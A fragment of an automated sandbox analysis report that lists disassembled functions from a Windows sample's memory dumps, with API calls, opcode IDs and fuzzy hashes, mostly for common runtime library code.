                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 3215553584-0
                                                    • Opcode ID: 8760811a46c694da2ce7fcb713cb8132a6e7826c56b7b9f56bdeeaa18c726bba
                                                    • Instruction ID: 1f44f84ff129918ef5f3b68ce49d1b10d00982163c535169be32d39b147f081c
                                                    • Opcode Fuzzy Hash: 8760811a46c694da2ce7fcb713cb8132a6e7826c56b7b9f56bdeeaa18c726bba
                                                    • Instruction Fuzzy Hash: 6351C861B0924686F728AEA6980467A66A3FF44BB4F1C4634DD6D877DFCE3CD401AE00
                                                    Function 00007FF6399CB444 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorFileLastPointer
                                                    • String ID:
                                                    • API String ID: 2976181284-0
                                                    • Opcode ID: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
                                                    • Instruction ID: 97379b8f0a5df6675013fbd6b14d18b1a607e48d8dd03c19710b3dc120bc145e
                                                    • Opcode Fuzzy Hash: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
                                                    • Instruction Fuzzy Hash: 6E118262A1CA8281DA108F25A844169B362AB48BF4F584331EE7D877EFCE7CD150DF40
                                                    Function 00007FF6399C4C34 Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6399C4B49), ref: 00007FF6399C4C67
                                                    • SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6399C4B49), ref: 00007FF6399C4C7D
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Time$System$FileLocalSpecific
                                                    • String ID:
                                                    • API String ID: 1707611234-0
                                                    • Opcode ID: 5814b874014510fcf00941fef2b2171ed045486f006683dc2ae422325307d6da
                                                    • Instruction ID: 06df372914fd51c812a9b0542dcf4cd10f13bc34fe9600358745f0237e82abd1
                                                    • Opcode Fuzzy Hash: 5814b874014510fcf00941fef2b2171ed045486f006683dc2ae422325307d6da
                                                    • Instruction Fuzzy Hash: A9118232A0C602C1EA548F11A84107EB7A2FB85765F540235E6AEC1BEDEF2DD414EF00
                                                    Function 00007FF6399C9C58 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • RtlFreeHeap.NTDLL(?,?,?,00007FF6399D2032,?,?,?,00007FF6399D206F,?,?,00000000,00007FF6399D2535,?,?,?,00007FF6399D2467), ref: 00007FF6399C9C6E
                                                    • GetLastError.KERNEL32(?,?,?,00007FF6399D2032,?,?,?,00007FF6399D206F,?,?,00000000,00007FF6399D2535,?,?,?,00007FF6399D2467), ref: 00007FF6399C9C78
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorFreeHeapLast
                                                    • String ID:
                                                    • API String ID: 485612231-0
                                                    • Opcode ID: 9fa0b27d1784483699343fce5d0d8fb71a2fef38db5c10c130c8b92919593777
                                                    • Instruction ID: 16df52110ee5e55702c2eb7e830f0380646ec7fa15918a9bd4f9681bfb5eda65
                                                    • Opcode Fuzzy Hash: 9fa0b27d1784483699343fce5d0d8fb71a2fef38db5c10c130c8b92919593777
                                                    • Instruction Fuzzy Hash: 7CE0B650F0964682FF186FB2AC9517912A79F98742B4C4034D91EC73DBEE2C6845AE64
                                                    Function 00007FF6399C9E68 Relevance: 2.6, APIs: 2, Instructions: 59COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CloseHandle.KERNELBASE(?,?,?,00007FF6399C9CE5,?,?,00000000,00007FF6399C9D9A), ref: 00007FF6399C9ED6
                                                    • GetLastError.KERNEL32(?,?,?,00007FF6399C9CE5,?,?,00000000,00007FF6399C9D9A), ref: 00007FF6399C9EE0
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: CloseErrorHandleLast
                                                    • String ID:
                                                    • API String ID: 918212764-0
                                                    • Opcode ID: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
                                                    • Instruction ID: 6872ea66d87ee275f1728c6d3d61bce00b027398d8511cba363d58449f465ec7
                                                    • Opcode Fuzzy Hash: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
                                                    • Instruction Fuzzy Hash: F1219251F1C64241EB549B65AD9037922979F94790F1C4235E92EC77DBCE6CE840AF00
                                                    Function 00007FFDFF161DA0 Relevance: 2.6, APIs: 2, Instructions: 50memoryCOMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FFDFF168732,?,?,?,00007FFDFF1A6FE9,?,?,?,?,00007FFDFF166EAA), ref: 00007FFDFF161DE8
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: AllocHeap
                                                    • String ID:
                                                    • API String ID: 4292702814-0
                                                    • Opcode ID: 4dd9cb5e32b6fda013bb4f9bbcdc076170478b4e0b777caec088e64ee6da944d
                                                    • Instruction ID: e7400cb80693726e0a5467cae0f6562ed0f24c7d3569e2d918509722d59acc6f
                                                    • Opcode Fuzzy Hash: 4dd9cb5e32b6fda013bb4f9bbcdc076170478b4e0b777caec088e64ee6da944d
                                                    • Instruction Fuzzy Hash: D6117323F0868285FB64DB559430EB92390AF89B90F485734D93E8B3EEDF6CA5454214
                                                    Function 00007FF6399CB1BC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 3215553584-0
                                                    • Opcode ID: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
                                                    • Instruction ID: 1ef58e78cba51d7d1ac4b0c52c93c23deca71ee39994f10030582f55c7ce0763
                                                    • Opcode Fuzzy Hash: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
                                                    • Instruction Fuzzy Hash: 4041D332D4964287EA249F25A94127D73A6EB55B80F180131D68EC37DACF3CE402EF51
                                                    Function 00007FF6399B76A0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _fread_nolock
                                                    • String ID:
                                                    • API String ID: 840049012-0
                                                    • Opcode ID: d1e95230d04fde96e1338c6789254e05c2d0d71a0994656c7f30c873f5989810
                                                    • Instruction ID: 112920b6347dd9481128a4aadfd3008750ea527117ab69629fe34ce041bf3be9
                                                    • Opcode Fuzzy Hash: d1e95230d04fde96e1338c6789254e05c2d0d71a0994656c7f30c873f5989810
                                                    • Instruction Fuzzy Hash: 3E21A622B0865646FA10AE1AAD443BAA6A6FF45BD4F8C4530DD4D87BCBDE7DE041DB00
                                                    Function 00007FF6399CAC4C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 3215553584-0
                                                    • Opcode ID: 41d876f7d863186cb99ffae5cfc70294694b7844598519de76c307bd1dc1648a
                                                    • Instruction ID: 075d174c29e8b9a285cc86435d9de6b6566309175037b2baedb39b092c8697f9
                                                    • Opcode Fuzzy Hash: 41d876f7d863186cb99ffae5cfc70294694b7844598519de76c307bd1dc1648a
                                                    • Instruction Fuzzy Hash: 5F31B021E1864286F711AF559C413BD2796AF90BA6F490135EA1E833DBCFBDE441AF20
                                                    Function 00007FF6399C52A4 Relevance: 1.6, APIs: 1, Instructions: 55COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 3215553584-0
                                                    • Opcode ID: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
                                                    • Instruction ID: 56b9e94d63be7f45dbb1bba05753af811a8de41adb3b99ca54eef3c21e62fd0c
                                                    • Opcode Fuzzy Hash: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
                                                    • Instruction Fuzzy Hash: 0F114F21E1D68182EA619F519C0027EA3A6AF95B80F4C4531EA4D97BDFCF3CE840AF51
                                                    Function 00007FF6399D5664 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 3215553584-0
                                                    • Opcode ID: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
                                                    • Instruction ID: a08a8f01a3e38d73171e4013f390a53a909629312db10b44d83c032028ec7086
                                                    • Opcode Fuzzy Hash: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
                                                    • Instruction Fuzzy Hash: 06216572A18A8186DB618F18D48077976A2EF94B94F684234E65DC77EEDF3DD800DF01
                                                    Function 00007FF6399BF6DC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _invalid_parameter_noinfo
                                                    • String ID:
                                                    • API String ID: 3215553584-0
                                                    • Opcode ID: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
                                                    • Instruction ID: cb41d71a703044fa55ed11e87dc92ecfc2a6ef28e0a2cd7a8ce8a7d49e575bbe
                                                    • Opcode Fuzzy Hash: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
                                                    • Instruction Fuzzy Hash: 3C01A522B0874241EA04AF965940069A7AAEF95FE0F4C4671DE5C93BDFDE3CD5029B00
                                                    Function 00007FF6399B81A0 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6399B86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6399B3FA4,00000000,00007FF6399B1925), ref: 00007FF6399B86E9
                                                    • LoadLibraryExW.KERNELBASE(?,00007FF6399B5C06,?,00007FF6399B308E), ref: 00007FF6399B81C2
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ByteCharLibraryLoadMultiWide
                                                    • String ID:
                                                    • API String ID: 2592636585-0
                                                    • Opcode ID: 99459516253cb9cb4854e4c73e6f2a87dddee0b16df49a4a0f63266b22594f97
                                                    • Instruction ID: da4a3461a8a6f2209283d6148d3f554e7ac5076aba1b11c21028dbea5fa3db68
                                                    • Opcode Fuzzy Hash: 99459516253cb9cb4854e4c73e6f2a87dddee0b16df49a4a0f63266b22594f97
                                                    • Instruction Fuzzy Hash: 72D08C01F2864281EA44AB67AA8656962529F89BC0F4C8035EE5D43B8ADC3CC0800F00
                                                    Function 00007FF6399CC90C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • HeapAlloc.KERNEL32(?,?,?,00007FF6399BFFB0,?,?,?,00007FF6399C161A,?,?,?,?,?,00007FF6399C2E09), ref: 00007FF6399CC94A
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: AllocHeap
                                                    • String ID:
                                                    • API String ID: 4292702814-0
                                                    • Opcode ID: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
                                                    • Instruction ID: 07109acda032d58db3665b32a49a7b6757112b3a2e0f4f536edd6dae4471efae
                                                    • Opcode Fuzzy Hash: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
                                                    • Instruction Fuzzy Hash: 99F0F811F1928785FF54AFA15D5127956825F8ABA2F0C4B30E92EC63CBEE2CA541AD20

                                                    Non-executed Functions

                                                    Function 00007FFDFF17173B Relevance: 39.0, APIs: 11, Strings: 11, Instructions: 491libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressProc
                                                    • String ID: AreFileApisANSI$CompareStringEx$EnumSystemLocalesEx$GetDateFormatEx$GetLocaleInfoEx$GetTimeFormatEx$GetUserDefaultLocaleName$IsValidLocaleName$LCIDToLocaleName$LCMapStringEx$LocaleNameToLCID
                                                    • API String ID: 190572456-3252031757
                                                    • Opcode ID: 4145d6d681e69173832bcfa656605b39e1e2ec865a9d3076a994667f8eadfcc1
                                                    • Instruction ID: 728b7150b3bb77b90ef4a6b79995be3e3c8e4e5c986c7f9788bb727d4508b501
                                                    • Opcode Fuzzy Hash: 4145d6d681e69173832bcfa656605b39e1e2ec865a9d3076a994667f8eadfcc1
                                                    • Instruction Fuzzy Hash: C7124192F09B0642FF189729A87097963E2AF59784B485736DC3DCB3EDEF6CE5449200
                                                    Function 00007FFDFF160450 Relevance: 39.0, APIs: 11, Strings: 11, Instructions: 485libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFDFF15F7E2), ref: 00007FFDFF160648
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: AddressProc
                                                    • String ID: AreFileApisANSI$CompareStringEx$EnumSystemLocalesEx$GetDateFormatEx$GetLocaleInfoEx$GetTimeFormatEx$GetUserDefaultLocaleName$IsValidLocaleName$LCIDToLocaleName$LCMapStringEx$LocaleNameToLCID
                                                    • API String ID: 190572456-3252031757
                                                    • Opcode ID: 849ec979009c82abe593b97aec0054fa5a90c29fd59ab2faa9904e877cb3aaa7
                                                    • Instruction ID: aae4c797524ba71f3e01fd03999783b7a0fbf4b68d949aa132fd521adc50cf9a
                                                    • Opcode Fuzzy Hash: 849ec979009c82abe593b97aec0054fa5a90c29fd59ab2faa9904e877cb3aaa7
                                                    • Instruction Fuzzy Hash: F8123E92F09B0682FF189719987097823E2AF59784B48573ADC3DCB3EDEF6CE5459200
                                                    Function 00007FFDFF15F890 Relevance: 13.8, APIs: 9, Instructions: 269COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFDFF15F8D4
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0 ref: 00007FFDFF15F8E2
                                                    • FlsGetValue.API-MS-WIN-CORE-FIBERS-L1-1-0 ref: 00007FFDFF15F8F6
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFDFF15F910
                                                      • Part of subcall function 00007FFDFF1CCA50: IsProcessorFeaturePresent.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1 ref: 00007FFDFF1CCA8F
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0 ref: 00007FFDFF15F923
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0 ref: 00007FFDFF15F951
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFDFF15F977
                                                    • FlsSetValue.API-MS-WIN-CORE-FIBERS-L1-1-0 ref: 00007FFDFF15FB17
